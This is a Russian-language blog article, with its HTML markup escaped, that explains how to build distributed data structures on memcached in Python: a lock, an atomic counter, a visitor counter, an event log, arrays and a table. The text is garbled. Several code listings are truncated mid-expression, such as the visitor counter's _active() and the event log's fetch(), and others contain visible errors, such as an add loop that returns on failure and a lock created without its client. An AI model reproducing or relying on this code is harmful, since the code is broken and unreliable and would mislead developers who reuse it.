    &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="err"&gt;новое&lt;/span&gt; &lt;span class="err"&gt;значение&lt;/span&gt; &lt;span class="err"&gt;ключа&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;после&lt;/span&gt; &lt;span class="err"&gt;увеличения&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;rtype&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;raises&lt;/span&gt; &lt;span class="n"&gt;KeyError&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="err"&gt;ключ&lt;/span&gt; &lt;span class="err"&gt;не&lt;/span&gt; &lt;span class="err"&gt;существует&lt;/span&gt;
    &lt;span class="s"&gt;"""&lt;/span&gt;

&lt;span class="n"&gt;def&lt;/span&gt; &lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
    &lt;span class="s"&gt;"""&lt;/span&gt;
    &lt;span class="err"&gt;Добавить&lt;/span&gt; &lt;span class="err"&gt;суффикс&lt;/span&gt; &lt;span class="err"&gt;к&lt;/span&gt; &lt;span class="err"&gt;значению&lt;/span&gt; &lt;span class="err"&gt;существующего&lt;/span&gt; &lt;span class="err"&gt;ключа&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;

    &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;param&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="err"&gt;ключ&lt;/span&gt;
    &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;param&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="err"&gt;суффикс&lt;/span&gt;
    &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;raises&lt;/span&gt; &lt;span class="n"&gt;KeyError&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="err"&gt;ключ&lt;/span&gt; &lt;span class="err"&gt;не&lt;/span&gt; &lt;span class="err"&gt;существует&lt;/span&gt;
    &lt;span class="s"&gt;"""&lt;/span&gt;

&lt;span class="n"&gt;def&lt;/span&gt; &lt;span class="n"&gt;delete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
    &lt;span class="s"&gt;"""&lt;/span&gt;
    &lt;span class="err"&gt;Удалить&lt;/span&gt; &lt;span class="err"&gt;ключ&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;

    &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;param&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="err"&gt;ключ&lt;/span&gt;
    &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="s"&gt;"""&lt;/span&gt;
&lt;/pre&gt;


&lt;/pre&gt;

&lt;p&gt;Все наши структуры данных будут наследниками базового класса следующего вида:&lt;/p&gt;
&lt;pre lang="python" line="1"&gt;

class MemcacheObject(object):
    def __init__(self, mc):
        """"
        Конструктор.

        @param mc: драйвер memcached
        @type mc: L{Memcache}
        """
        self.mc = mc


&lt;/pre&gt;

&lt;h3&gt;Блокировка&lt;/h3&gt;
&lt;h4&gt;Задача&lt;/h4&gt;
&lt;p&gt;Блокировка (mutex, или в данной ситуации скорее spinlock) - это не совсем структура данных,&lt;/p&gt;
&lt;p&gt;но она может быть использована как "кирпичик" при построении сложных структур данных в memcached.&lt;/p&gt;
&lt;p&gt;Блокировка используется для исключения одновременного доступа к некоторым ключам, возможности&lt;/p&gt;
&lt;p&gt;блокировки отсутствуют в API memcached, поэтому она эмулируется с помощью других операций.&lt;/p&gt;
&lt;p&gt;Итак, блокировка определяется своим именем, работает распределённо (то есть из любого процесса,&lt;/p&gt;
&lt;p&gt;имеющего доступ к memcached), имеет автоматическое "умирание" (на случай, если процесс, поставивший&lt;/p&gt;
&lt;p&gt;блокировку, не сможет её снять, например, по причине аварийного завершения).&lt;/p&gt;
&lt;p&gt;Операции над блокировкой:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;попробовать заблокироваться (try-lock);&lt;/li&gt;
&lt;li&gt;разблокировать (unlock).&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Решение&lt;/h4&gt;
&lt;pre lang="python" line="1"&gt;

class MCLock(MemcacheObject):
    def __init__(self, mc, name, timeout=5):
        """
        Конструктор.

        @param name: имя блокировки
        @type name: C{str}
        @param timeout: таймаут аварийного снятия блокировки (секунды)
        @type timeout: C{int}
        """
        super(MCLock, self).__init__(mc)
        self.key = 'lock_' + name
        self.locked = False
        self.timeout = timeout

    def try_lock(self):
        """
        Попробовать заблокироваться.

        @return: удалось ли заблокироваться?
        @rtype: C{bool}
        """
        assert not self.locked
        try:
            self.mc.add(self.key, 1, self.timeout)
        except KeyError:
            return False

        self.locked = True
        return True

    def unlock(self):
        """
        Снять блокировку.
        """
        assert self.locked
        self.mc.delete(self.key)
        self.locked = False


&lt;/pre&gt;

&lt;h4&gt;Обсуждение&lt;/h4&gt;
&lt;p&gt;Корректность работы блокировки основывается на операции &lt;code&gt;add&lt;/code&gt;, которая гарантирует что ровно один процесс&lt;/p&gt;
&lt;p&gt;сможет "первым" установить значение ключа, все остальные процессы получат ошибку. Приведенный выше класс может&lt;/p&gt;
&lt;p&gt;быть обернут более удобно, например, для &lt;a href="http://docs.python.org/reference/datamodel.html#context-managers"&gt;with-обработчика Python&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Более подробно вопрос блокировок обсуждался в посте про &lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.smira.ru/2008/10/28/web-caching-memcached-4/"&gt;одновременное перестроение кэшей&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Атомарный счетчик&lt;/h3&gt;
&lt;h4&gt;Задача&lt;/h4&gt;
&lt;p&gt;&lt;a name="atomic-counter"&gt;Необходимо&lt;/a&gt; вычислять количество событий, которые происходят распределённо на разных&lt;/p&gt;
&lt;p&gt;серверах, также получать текущее значение счетчика. При этом счетчик не должен "терять"&lt;/p&gt;
&lt;p&gt;события и начислять "лишние" значения.&lt;/p&gt;
&lt;p&gt;Тип данных: целое число.&lt;/p&gt;
&lt;p&gt;Начальное значение: ноль.&lt;/p&gt;
&lt;p&gt;Операции:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;увеличить значение счетчика на указанное значение;&lt;/li&gt;
&lt;li&gt;получить текущее значение счетчика.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Решение&lt;/h4&gt;
&lt;pre lang="python" line="1"&gt;

class MCCounter(MemcacheObject):
    def __init__(self, mc, name):
        """
        Конструктор.

        @param name: имя счетчика
        @type name: C{str}
        """
        super(MCCounter, self).__init__(mc)
        self.key = 'counter' + name

    def increment(self, value=1):
        """
        Увеличить значение счетчика на указанное значение.

        @param value: инкремент
        @type value: C{int}
        """
        while True:
            try:
                self.mc.incr(self.key, value)
                return
            except KeyError:
                pass

            try:
                self.mc.add(self.key, value, 0)
                return
            except KeyError:
                pass

    def value(self):
        """
        Получить значение счетчика.

        @return: текущее значение счетчика
        @rtype: C{int}
        """
        try:
            return self.mc.get(self.key)
        except KeyError:
            return 0


&lt;/pre&gt;

&lt;h4&gt;Обсуждение&lt;/h4&gt;
&lt;p&gt;Реализация счетчика достаточно очевидная, самый сложный момент - это "вечный" цикл в методе &lt;code&gt;increment&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Он необходим для корректной инициализации значения счетчика в условиях конкурентного доступа к нему. &lt;/p&gt;
&lt;p&gt;Если операция &lt;code&gt;incr&lt;/code&gt; завершилась ошибкой отсутствия ключа, нам необходимо создать ключ счетчика, но этот&lt;/p&gt;
&lt;p&gt;код могут одновременно выполнять несколько процессов, тогда одному из них удастся &lt;code&gt;add&lt;/code&gt;, а второй получит ошибку&lt;/p&gt;
&lt;p&gt;и инкрементирует уже созданный счетчик с помощью &lt;code&gt;incr&lt;/code&gt;. Зацикливание невозможно, т.к. одна из операций &lt;code&gt;incr&lt;/code&gt; или&lt;/p&gt;
&lt;p&gt;&lt;code&gt;add&lt;/code&gt; должна быть успешной: после создания ключа в memcached операция &lt;code&gt;incr&lt;/code&gt; будет успешной всё время существования ключа.&lt;/p&gt;
&lt;p&gt;Как быть с ситуацией, когда ключ со счетчиком из memcached пропадет? Возможны две ситуации, когда ключ исчезнет:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;memcached не хватает памяти для размещения других ключей;&lt;/li&gt;
&lt;li&gt;процесс memcached аварийно завершился (сервер "упал").&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;(В случае MemcacheDB, настроенной репликации и т.п. падение сервера не должно приводить к потере ключей.)&lt;/p&gt;
&lt;p&gt;В первом случае надо лишь правильно обслуживать memcached - памяти должно хватать для счетчиков, иначе мы начинаем&lt;/p&gt;
&lt;p&gt;терять значения, а это неприемлемо в данной ситуации (но совершенно нормально, например, для хранения кэшей в memcached).&lt;/p&gt;
&lt;p&gt;Второй случай всегда возможен, если такая ситуация часто возникает, можно дублировать счетчики в нескольких&lt;/p&gt;
&lt;p&gt;memcached-серверах.&lt;/p&gt;
&lt;h3&gt;Счетчик посетителей&lt;/h3&gt;
&lt;h4&gt;Задача&lt;/h4&gt;
&lt;p&gt;Необходимо вычислить количество уникальных обращений к сайту в течение некоторого периода T. Например, T может быть&lt;/p&gt;
&lt;p&gt;равно 5 минутам. Пусть мы можем сказать, когда было последнее обращение данного посетителя к сайту - более T минут &lt;/p&gt;
&lt;p&gt;назад или менее (то есть является ли оно уникальным в течение периода T).&lt;/p&gt;
&lt;p&gt;Операции над счетчиком:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;увеличить значение счетчика на единицу (обращение уникального в течение периода T посетителя);&lt;/li&gt;
&lt;li&gt;получить текущее число посетителей.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Решение&lt;/h4&gt;
&lt;pre lang="python" line="1"&gt;

def time():
    """
    Текущее время в секундах с любого момента времени (например, UNIX Epoch).

    @return: текущее время в секундах
    @rtype: C{int}
    """


class MCVisitorCounter(MemcacheObject):
    def __init__(self, mc, name, T):
        """
        Конструктор.

        @param name: имя счетчика
        @type name: C{str}
        @param T: период счетчика, секунды
        @type T: C{int}
        """
        super(MCVisitorCounter, self).__init__(mc)
        self.keys = ('counter' + name + '_0', 'counter' + name + '_1')

    def _active(self):
        """
        Получить индекс текущего счетчика.

        @return: 0 или 1
        """
        return 0 if (time() % (2*T)) 



### Обсуждение



&lt;img src="http://www.smira.ru/wp-content/uploads/2009/01/ms1.png" alt="Работа счетчика посетителей" title="Работа счетчика посетителей" width="639" height="273" class="alignnone size-full wp-image-274"&gt;



Основная структура работы со счетчиком в memcached в данной задаче повторяет решение задачи атомарного счетчика.

Базовая идея - использование теневого и текущего счетчика: теневой счетчик  получает обновления (увеличивается), а 

текущий используется для получения значения числа посетителей (его значение было накоплено, когда она был теневым).

Каждый период T текущий и теневой счетчик меняются местами. Ключ теневого счетчика создается со 

сроком годности 2*T секунд, то есть его время жизни - T секунд, пока он был теневым (и увеличивался), и Т секунд, пока

его значение использовалось для чтения. К моменту того, как этот ключ снова станет теневым счетчиком, он должен

быть уничтожен memcached, т.к. срок его годности истек. Идея теневого и текущего счетчика напоминает, например,

двойную буферизацию при выводе на экран в играх.



Необходимо обратить внимание на функцию `_active()`: она реализована именно через вычисление остатка от деления

текущего времени в секундах, а не, например, через периодическое (раз в Т секунд) смену значения `active`, т.к.

если время на всех серверах синхронизировано с разумной точностью, то и результат функции `_active()` будет на

всех серверах одинаковым, что важно для корректного распределенного функционирования данной структуры данных.



Описанный подход будет работать корректно только при достаточно большом количестве посетителей, когда временной интервал между

очередной сменой значения функции `_active()` и обращением к функции `increment()` будет как можно меньше. То есть

когда `increment()` вызывается часто, то есть когда посетителей достаточно много, например, 1000 человек при периоде Т=3 минуты. Иначе

создание и уничтожение ключей не будет синхронизировано с моментом смены значения `_active()` и начнут пропадать 

посетители, накопленные в теневом счетчике, который будет уничтожен в процессе накопления значений и 

создан заново. В этой ситуации его время жизни 2*T будет "сдвинуто" относительно моментов 0, T функции

time() % (2*T). В силу того, что memcached рассматривает срок годности ключей дискретно относительно секунд (с точностью не более одной секунды), 

любой сдвиг времени жизни ключа может составлять 1,2,...,T-1 секунду (отсутствие сдвига - 0 секунд). Дискретность

срока годности означает, что если ключ был создан в 25 секунд 31 миллисекунду со сроком годности 10 секунд,

то он будет уничтожен на 35-й (или 36-й) секунде 0 миллисекунд (а не 31-й миллисекунде). Для компенсация сдвига

в целое число секунд необходимо исправить строчку 43 примера следующим образом:



&lt;pre lang="python" line="43"&gt;
                self.mc.add(self.keys[1-active], 1, 2*T - time() % T)
&lt;/pre&gt;



Значение счетчика посетителей не изменяется в течение периода времени T, для более приятного отображения можно

к значению счетчика при выводе добавить нормально распределенную величину с небольшой дисперсией и математическим ожиданием

около 5% от значения счетчика.



Немного более сложный вариант такого счетчика (с интерполяцией во времени), но с точно такой же идеей был 

описан в посте про [атомарность операции и счетчики в memcached](http://www.smira.ru/2008/10/24/web-caching-memcached-3).



## Лог событий



### Задача



Задача этой структуры данных - хранение событий, произошедших в распределенной системе 

за последние T секунд. Каждое событие имеет момент времени,

когда оно произошло, остальное содержимое события определяется логикой приложения.



Операции над логом событий:

 * добавить сообщение в лог событий (должна быть максимально быстрой);
 * получить события, произошедшие в период времени от Tmin до Tmax (должна быть эффективной,
   но вызывается реже, чем добавление);


### Решение



&lt;pre lang="python" line="1"&gt;

def time():
    """
    Текущее время в секундах с любого момента времени (например, UNIX Epoch).

    @return: текущее время в секундах
    @rtype: C{int}
    """


class Event:
    """
    Событие, помещаемое в лог событий.
    """

    def when(self):
        """
        Момент времени, когда произошло событие (секунды).
        """

    def serialize(self):
        """
        Сериализовать событие.

        @return: сериализованное представление
        @rtype: C{str}
        """

    @static
    def deserialize(serialized):
        """
        Десериализовать набор событий.

        @param serialized: сериализованное представление одного 
                           или нескольких событий
        @type serialized: C{str}
        @return: массив десериализованных событий
        @rtype: C{list(Event)}
        """


class MCEventLog(MemcacheObject):
    def __init__(self, mc, name, timeChunk=10, numChunks=10):
        """
        Конструктор.

        @param name: имя лога событий
        @type name: C{str}
        @param timeChunk: емкость одного ключа лога в секундах
        @type timeChunk: C{int}
        @param numChunks: число выделяемых ключей под лог
        @type numChunks: C{int}
        """
        super(MCEventLog, self).__init__(mc)
        self.keyTemplate = 'messagelog' + name + '_%d';
        self.timeChunk = timeChunk
        self.numChunks = numChunks

    def put(self, event):
        """
        Поместить событие в лог.

        @param event: событие
        @type event: L{Event}
        """
        serialized = event.serialize()
        key = self.keyTemplate % (event.when() // self.timeChunk % self.numChunks)

        while True:
            try:
                self.mc.append(key, serialized)
                return
            except KeyError:
                pass

            try:
                self.mc.add(key, serialized, self.timeChunk * (self.numChunks-1))
                return
            except KeyError:
                pass

    def fetch(self, first=None, last=None):
        """
        Получить события из лога за указанный период (или все события).

        @param first: минимальное время возвращаемого сообщения
        @type first: C{int}
        @param last: максимальное время возвращаемого сообщения
        @type last: C{int}
        @return: массив событий
        @rtype: C{list(Event)}
        """
        if last is None or last &amp;gt; time():
            last = time()

        if first is None or last  self.timeChunk * (self.numChunks-1):
            first = time() - self.timeChunk * (self.numChunks-1)

        firstKey = first / self.timeChunk % self.numChunks
        lastKey = last / self.timeChunk % self.numChunks

        if firstKey = first and 
                                                e.when() 



### Обсуждение



Основная идея лога событий - кольцевой буфер, состоящий из `numChunks` ключей в memcached.

Каждый ключ активен (то есть дополняется значениями) в течение `timeChunk` секунд, после

чего активным становится следующий ключ (если активным был последний ключ, эта роль

переходит к первому ключу). Полный цикл буфера, т.е. период времени между двумя использованиями

одного ключа составляет `numChunks * timeChunk` секунд, а время жизни каждого ключа - 

`(numChunks - 1) * timeChunk` секунд, таким образом при любом сдвиге времени создания

ключа по модулю `timeChunk` к моменту времени следующего использования ключ гарантированно

будет уничтожен. Таким образом, ёмкость лога событий (или период времени, за который

сохраняются события) составляет `(numChunks - 1) * timeChunk` секунд. Такое разбиение

лога на ключи позволяет при получении событий из лога вынимать лишь

те ключи, которые соответствуют интересному нам временному отрезку.



Выбор параметров

`timeChunk` и `numChunks` зависит от применения лога событий: сначала определяется желаемый срок

хранения событий, затем по частоте событий выбирается такое значение `timeChunk`, чтобы размер

каждого ключа лога событий был относительно небольшим (например, 10-20Кб). Из этих соображений

можно найти значение и второго параметра, `numChunks`.



В примере используется некоторый класс `Event`, который обладает единственным интересным

для нас свойством - временем, когда произошло событие. В методе `put` лога событий предполагается,

что событие `event`, переданное в качестве параметра, произошло "недавно", то есть с момента

`event.when()` прошло не более чем `(numChunks - 1) * timeChunk` секунд (емкость лога). При

работе `put` вычисляется ключ, в который должна быть помещена информация о событии, в соответствие

с его временной меткой. После этого с помощью уже знакомой по предыдущим примерам техники ключ либо создается, либо

к значению уже существующего ключа дописывается сериализованное представление события.



Метод `fetch` вычисляет потенциальный набор ключей лога, в которых могут находиться события,

произошедшие во временной интервал от `first` до `last`. Если временные рамки не заданы,

`last` считается равным текущему моменту времени, а `first` - моменту времени, отстоящему

от текущего на емкость лога. Набор ключей вычисляется с учетом кольцевой структуры метода,

после чего выбираются соответствующие ключи, десериализуются последовательно записанные

в них события и проводится дополнительная фильтрация на попадание в отрезок `[first, last]`.



Приведенная выше сигнатура метода позволяет последовательными обращениями выводить новые

события из лога:


 1. Первый раз вызывается `events = fetch()`. Вычисляется `lastSeen` как `max(events.when())`.
 2. Все последующие обращения выглядят следующим образом: `events = fetch(first=lastSeen)`, при этом
    `lastSeen` каждый раз перевычисляется.


## Массив



### Задача 1



В массиве хранится список значений произвольного типа, относительно редко происходит

обновление списка, гораздо чаще происходит получение списка целиком.



Операции над массивом:

 * изменить массив (редкая операция);
 * получить массив целиком (частая операция).


### Решение 1



&lt;pre lang="python" line="1"&gt;

def serializeArray(array):
    """
    Сериализовать массив в бинарное представление.
    """


def deserializeArray(str):
    """
    Десериализовать массив из бинарного представления.
    """


class MCArray1(MemcacheObject):
    def __init__(self, mc, name):
        """
        Конструктор.

        @param name: имя массива
        @type name: C{str}
        """
        super(MCArray1, self).__init__(mc)
        self.lock = MCLock(name)
        self.key = 'array' + name

    def fetch(self):
        """
        Получить текущее значение массива.

        @return: массив
        @rtype: C{list}
        """
        try:
            return deserializeArray(self.mc.get(self.key))
        except KeyError:
            return []

    def change(self, add_elems=[], delete_elems=[]):
        """
        Изменить значение массива, добавив или удалив из него
        элементы.

        @param add_elems: элементы, которые надо добавить
        @type add_elems: C{list}
        @param delete_elems: элементы, которые надо удалить
        @type delete_elems: C{list}
        """
        while not self.lock.try_lock():
            pass

        try:
            try:
                array = deserializeArray(self.mc.get(self.key))
            except KeyError:
                array = []
            array = filter(lambda e: e not in delete_elems, array) + add_elems
            self.mc.set(self.key, serializeArray(array), 0)
        finally:
            self.lock.unlock()


&lt;/pre&gt;

&lt;h4&gt;Обсуждение 1&lt;/h4&gt;
&lt;p&gt;Приведенный выше способ решения на самом деле не имеет никакого отношения к массивам, а может&lt;/p&gt;
&lt;p&gt;быть применен для любой структуры данных. Он основан на модели reader-writer, когда есть много&lt;/p&gt;
&lt;p&gt;читателей и относительно мало писателей. Читатели в любой момент с помощью метода &lt;code&gt;fetch&lt;/code&gt; получают&lt;/p&gt;
&lt;p&gt;содержимое массива, при этом важно, что "писатель" &lt;code&gt;сhange&lt;/code&gt; записывает содержимое одной командой&lt;/p&gt;
&lt;p&gt;memcached, то есть в силу внутренней атомарности операций &lt;code&gt;get&lt;/code&gt; и &lt;code&gt;set&lt;/code&gt; в memcached и несмотря на&lt;/p&gt;
&lt;p&gt;отсутствие синхронизации между методами &lt;code&gt;fetch&lt;/code&gt; и &lt;code&gt;сhange&lt;/code&gt;, результат &lt;code&gt;fetch&lt;/code&gt; всегда будет консистентным:&lt;/p&gt;
&lt;p&gt;это будет значение до или после очередного изменения. Писатели блокируются от одновременного &lt;/p&gt;
&lt;p&gt;изменения массива с помощью блокировки &lt;code&gt;MCLock&lt;/code&gt;, описанной выше.&lt;/p&gt;
&lt;p&gt;В данной ситуации можно было бы избежать использования блокировки и воспользоваться командами&lt;/p&gt;
&lt;p&gt;&lt;code&gt;gets&lt;/code&gt;, &lt;code&gt;cas&lt;/code&gt; и &lt;code&gt;add&lt;/code&gt; из протокола memcached для того, чтобы гарантировать атомарность изменений&lt;/p&gt;
&lt;p&gt;с помощью функции &lt;code&gt;change&lt;/code&gt;.&lt;/p&gt;
&lt;h4&gt;Задача 2&lt;/h4&gt;
&lt;p&gt;Массив хранит список значений некоторого типа, часто происходит операция вида "добавить значение&lt;/p&gt;
&lt;p&gt;в массив". Относительно редко массив запрашивается целиком. Для простоты реализации&lt;/p&gt;
&lt;p&gt;в дальнейшем будет рассматриваться массив целых чисел, хотя для решения задачи тип данных не имеет&lt;/p&gt;
&lt;p&gt;существенного значения.&lt;/p&gt;
&lt;p&gt;Операции над массивом:&lt;/p&gt;
&lt;/pre&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;добавить значение в массив (частая операция);&lt;/li&gt;
&lt;li&gt;получить массив целиком.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Решение 2&lt;/h4&gt;
&lt;pre lang="python" line="1"&gt;

def serializeInt(int):
    """
    Сериализовать целое число в бинарное представление (str).
    """


def deserializeIntArray(str):
    """
    Десериализовать массив целых чисел из бинарного представления.
    """


class MCArray2(MemcacheObject):
    def __init__(self, mc, name):
        """
        Конструктор.

        @param name: имя массива
        @type name: C{str}
        """
        super(MCArray2, self).__init__(mc)
        self.key = 'array' + name

    def fetch(self):
        """
        Получить текущее значение массива.

        @return: массив
        @rtype: C{list}
        """
        try:
            return deserializeIntArray(self.mc.get(self.key))
        except KeyError:
            return []

    def add(self, element):
        """
        Добавить элемент в массив.

        @param element: элемент, который необходимо добавить в массив
        @type element: C{int}
        """
        element = serializeInt(element)
        while True:
            try:
                self.mc.append(self.key, element)
            except KeyError:
                return

            try:
                self.mc.add(self.key, element, 0)
            except KeyError:
                return


&lt;/pre&gt;

&lt;h4&gt;Обсуждение 2&lt;/h4&gt;
&lt;p&gt;Эта реализация практически повторяет аналогичный код для лога событий, только упрощенный в силу&lt;/p&gt;
&lt;p&gt;наличия всего одного ключа. По сравнению с первым вариантом реализации типа данных "массив" уменьшилось число операций&lt;/p&gt;
&lt;p&gt;memcached, все изменяющие массив процессы могут выполняться без задержек (отсутствие блокировок).&lt;/p&gt;
&lt;p&gt;Как и в первом варианте, не проверяется наличие дубликатов при добавлении элемента в массив&lt;/p&gt;
&lt;p&gt;(может быть и хорошо, и плохо, в зависимости от применения).&lt;/p&gt;
&lt;p&gt;Возможны следующие улучшения (или расширения) описанного примера:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;использование нескольких ключей для хранения массива вместо одного, распределение элементов
   по ключам с использованием хэширования; такой вариант позволит ограничить размер каждого ключа,
   при условии что массив большой (содержит много элементов);&lt;/li&gt;
&lt;li&gt;реализация в том же стиле операции удаления элемента из массива, тогда массив можно представить
   как последовательность операций "удалить" и "добавить", например сериализованное представление
   &lt;code&gt;+1 +3 +4 -3 +5&lt;/code&gt; будет после десериализации образовывать массив &lt;code&gt;[1, 4, 5]&lt;/code&gt;; при этом как 
   операция добавления элемента, так и удаления, будет приводить к дописыванию байт в конец
   сериализованного представления (атомарная операция &lt;code&gt;append&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Таблица&lt;/h3&gt;
&lt;h4&gt;Задача&lt;/h4&gt;
&lt;p&gt;Необходимо хранить множество строк. Операции над множеством:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;проверка принадлежности строки множеству (самая частая операция);&lt;/li&gt;
&lt;li&gt;получение множества целиком, добавление элемента, удаление элемента - редкие операции.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Можно рассматривать данную структуру данных как таблицу, в которой осуществляется&lt;/p&gt;
&lt;p&gt;быстрый поиск нужной строки. Или как хэш, хранящийся в распределенной памяти.&lt;/p&gt;
&lt;h4&gt;Решение&lt;/h4&gt;
&lt;pre lang="python" line="1"&gt;

def serializeArray(array):
    """
    Сериализовать массив в бинарное представление.
    """


def deserializeArray(str):
    """
    Десериализовать массив из бинарного представления.
    """


class MCTable(MemcacheObject):
    def __init__(self, mc, name):
        """
        Конструктор.

        @param name: имя таблицы
        @type name: C{str}
        """
        super(MCTable, self).__init__(mc)
        self.lock = MCLock(name)
        self.key = 'table' + name

    def has(self, key):
        """
        Проверка наличия ключа в таблице.

        @param key: ключ
        @type key: C{str}
        @rtype: C{bool}
        """
        try:
            self.mc.get(self.key + '_v_' + key)
            return True
        except KeyError:
            return False

    def fetch(self):
        """
        Получить целиком значение элементов таблицы.

        @return: значение таблицы
        @rtype: C{list(str)}
        """
        try:
            return deserializeArray(self.mc.get(self.key + '_keys'))
        except KeyError:
            pass

    def add(self, key):
        """
        Добавить ключ в таблицу.

        @param key: ключ
        @type key: C{str}
        """
        while not self.lock.try_lock():
            pass

        try:
            try:
                array = deserializeArray(self.mc.get(self.key + '_keys'))
            except KeyError:
                array = []
            if key not in array:
                array.append(key)
            self.mc.set(self.key + '_v_' + key, 1, 0)
            self.mc.set(self.key + '_keys', serializeArray(array), 0)
        finally:
            self.lock.unlock()

    def delete(self, key):
        """
        Удалить ключ из таблицы.

        Реализация аналогична методу add().
        """
&lt;/pre&gt;

&lt;h4&gt;Обсуждение&lt;/h4&gt;
&lt;p&gt;Вообще говоря memcached представляет собой огромную хэш-таблицу, правда в ней отсутствует&lt;/p&gt;
&lt;p&gt;одна операция, которая необходима для нашей структуры данных: получение списка ключей.&lt;/p&gt;
&lt;p&gt;Поэтому реализация таблицы использует отдельные ключи для хранения каждого элемента таблицы,&lt;/p&gt;
&lt;p&gt;и отдельно еще один ключ для хранения списка всех её элементов. Реализация хранения списка&lt;/p&gt;
&lt;p&gt;всех элементов фактически совпадает с реализацией "массива 1". Для сериализации доступа&lt;/p&gt;
&lt;p&gt;к списку всех элементов используется блокировка, при этом методы &lt;code&gt;fetch&lt;/code&gt; и &lt;code&gt;add&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;не синхронизированы друг с другом, т.к. список всех элементов меняется атомарно и при чтении&lt;/p&gt;
&lt;p&gt;ключа мы всегда получим некоторое консистентное состояние.&lt;/p&gt;
&lt;p&gt;Проверка наличия ключа в таблице выполняется максимально быстро: проверяется наличие соответствующего&lt;/p&gt;
&lt;p&gt;ключа в memcached.  Любое изменение списка элементов всегда происходит одновременно и в ключе, хранящем&lt;/p&gt;
&lt;p&gt;весь список, и в отдельных ключах для каждого элемента (которые используются только для проверки).&lt;/p&gt;
&lt;p&gt;На основе приведенной схемы можно реализовать полноценный хэш, когда для каждого элемента&lt;/p&gt;
&lt;p&gt;таблицы будет храниться связанное значение, это значение необходимо будет записывать только в &lt;/p&gt;
&lt;p&gt;отдельные ключи, соответствующие элементам, а список элементов не будет содержать значений.&lt;/p&gt;
&lt;h3&gt;Заключение&lt;/h3&gt;
&lt;p&gt;Итак, приведем список "приемов" или "трюков", описанных в данной статье:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;атомарность операций с помощью memcached (пара &lt;code&gt;add&lt;/code&gt;/&lt;code&gt;set&lt;/code&gt; и т.п.);&lt;/li&gt;
